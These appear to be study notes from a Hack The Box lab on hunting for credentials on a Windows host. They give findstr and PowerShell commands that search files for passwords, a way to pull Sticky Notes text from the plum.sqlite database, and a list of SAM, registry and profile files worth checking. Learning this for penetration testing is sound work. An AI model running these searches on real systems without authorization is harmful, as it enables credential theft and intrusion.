Other Files
Manually Searching the File System for Credentials
use this cheetsheet
https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/
Search File Contents for String
# search on password in this extentions
C:\htb> cd c:\Users\htb-student\Documents & findstr /SI /M "password" *.xml *.ini *.txt
# display full lines has password
C:\htb> findstr /si password *.xml *.ini *.txt *.config
# display the full line and number of it
C:\htb> findstr /spin "password" *.*Search File Contents with PowerShell
PS C:\htb> select-string -Path C:\Users\htb-student\Documents\*.txt -Pattern password
stuff.txt:1:password: l#-x9r11_2_GL!Search for File Extensions
# search on specific file have these names
C:\htb> dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
# to search on extention
C:\htb> where /R C:\ *.config
Sticky Notes Passwords
users sometimes use sticky notes to store password, not realizing it is a database file.
Looking for StickyNotes DB Files
PS C:\htb> cd C:\Users\htb-student\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState ; ls
Directory: C:\Users\htb-student\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/25/2021 11:59 AM 20480 15cbbc93e90a4d56bf8d9a29305b8981.storage.session
-a---- 5/25/2021 11:59 AM 982 Ecs.dat
-a---- 5/25/2021 11:59 AM 4096 plum.sqlite
-a---- 5/25/2021 11:59 AM 32768 plum.sqlite-shm
-a---- 5/25/2021 12:00 PM 197792 plum.sqlite-walWe can copy the three plum.sqlite* files down to our system and open them with a tool such as DB Browser for SQLite and view the Text column in the Note table with the query select Text from Note;.
Viewing Sticky Notes Data Using PowerShell
PS C:\htb> Set-ExecutionPolicy Bypass -Scope Process
Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose
you to the security risks described in the about_Execution_Policies help topic at
https:/go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy?
[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "N"): A
PS C:\htb> cd .\PSSQLite\
PS C:\htb> Import-Module .\PSSQLite.psd1
PS C:\htb> $db = 'C:\Users\htb-student\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite'
PS C:\htb> Invoke-SqliteQuery -Database $db -Query "SELECT Text FROM Note" | ft -wrap
Text
----
\id=de368df0-6939-4579-8d38-0fda521c9bc4 vCenter
\id=e4adae4c-a40b-48b4-93a5-900247852f96
\id=1a44a631-6fff-4961-a4df-27898e9e1e65 root:Vc3nt3R_adm1n!
\id=c450fc5f-dc51-4412-b4ac-321fd41c522a Thycotic demo tomorrow at 10amStrings to View DB File Contents
We can also copy them over to our attack box and search through the data using the strings command, which may be less efficient depending on the size of the database.
irix@htb[/htb]$ strings plum.sqlite-wal
CREATE TABLE "Note" (
"Text" varchar ,
"WindowPosition" varchar ,
"IsOpen" integer ,
"IsAlwaysOnTop" integer ,
"CreationNoteIdAnchor" varchar ,
"Theme" varchar ,
"IsFutureNote" integer ,
"RemoteId" varchar ,
"ChangeKey" varchar ,
"LastServerVersion" varchar ,
"RemoteSchemaVersion" integer ,
"IsRemoteDataInvalid" integer ,
"PendingInsightsScan" integer ,
"Type" varchar ,
"Id" varchar primary key not null ,
"ParentId" varchar ,
"CreatedAt" bigint ,
"DeletedAt" bigint ,
"UpdatedAt" bigint )'
indexsqlite_autoindex_Note_1Note
af907b1b-1eef-4d29-b238-3ea74f7ffe5caf907b1b-1eef-4d29-b238-3ea74f7ffe5c
U af907b1b-1eef-4d29-b238-3ea74f7ffe5c
Yellow93b49900-6530-42e0-b35c-2663989ae4b3af907b1b-1eef-4d29-b238-3ea74f7ffe5c
U 93b49900-6530-42e0-b35c-2663989ae4b3
< SNIP >
\id=011f29a4-e37f-451d-967e-c42b818473c2 vCenter
\id=34910533-ddcf-4ac4-b8ed-3d1f10be9e61 alright*
\id=ffaea2ff-b4fc-4a14-a431-998dc833208c root:Vc3nt3R_adm1n!ManagedPosition=Yellow93b49900-6530-42e0-b35c-2663989ae4b3af907b1b-1eef-4d29-b238-3ea74f7ffe5c
Other Interesting Files
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
%WINDIR%\System32\drivers\etc\hosts
C:\ProgramData\Configs\*
C:\Program Files\Windows PowerShell\*Last updated